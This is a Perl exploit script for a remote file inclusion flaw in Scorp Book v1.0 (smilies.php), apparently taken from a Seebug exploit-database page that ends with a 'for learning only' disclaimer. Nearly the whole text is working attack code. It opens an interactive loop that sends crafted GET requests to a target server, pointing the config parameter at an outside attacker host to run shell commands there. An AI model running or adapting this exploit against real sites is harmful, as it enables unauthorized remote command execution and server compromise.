#!/usr/bin/perl # .-\"\"\"\"\"\"\"\"-. # / Dj7xpl # | | # |, .-. .-. ,| # | )(_o/ o_)( | # |/ / | # (@_ (_ ^^ _) # _ ) \\_______\\__|IIIIII|__/_______________________________ # (_)@8@8{}<________|-IIIIII/-|________________________________> # )_/ / # (@ # #_______________________________________________Iranian Are The Best In World___________________________________________# # # # [~] Portal.......: Scorp Book v1.0 # [~] Download.....: http://www.ectona.org/download/?id=598&s=info # [~] Author.......: Dj7xpl | Dj7xpl@yahoo.com # [~] Class........: Remote File Include Exploit # #_______________________________________________________________________________________________________________________# ######################################################################################################################### use IO::Socket; if (@ARGV < 2){ print \" +**********************************************************************+ * * * # Scorp Book <== v1.0 (smilies.php) Remote File Include Exploit * * * * # Usage : xpl.pl [Target] [Path] * * * * # Example : xpl.pl Dj7xpl.ir /gb * * * * Vuln & Coded By Dj7xpl * +**********************************************************************+ \"; exit(); } $host=$ARGV[0]; $path=$ARGV[1]; print \" [~] Please wait ... \"; print \"[~] Shell : \";$cmd = <STDIN>; while($cmd !~ \"END\") { $socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"$host\", PeerPort=>\"80\") or die \"Connect Failed. \"; print $socket \"GET \".$path.\"/smilies.php?config=http://dj7xplby.ru/cmd?cmd=$cmd HTTP/1.1 \"; print $socket \"Host: \".$host.\" \"; print $socket \"Accept: */* \"; print $socket \"Connection: close \"; while ($raspuns = <$socket>) { print $raspuns; } print \"[~] Shell : \"; $cmd = <STDIN>; }
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论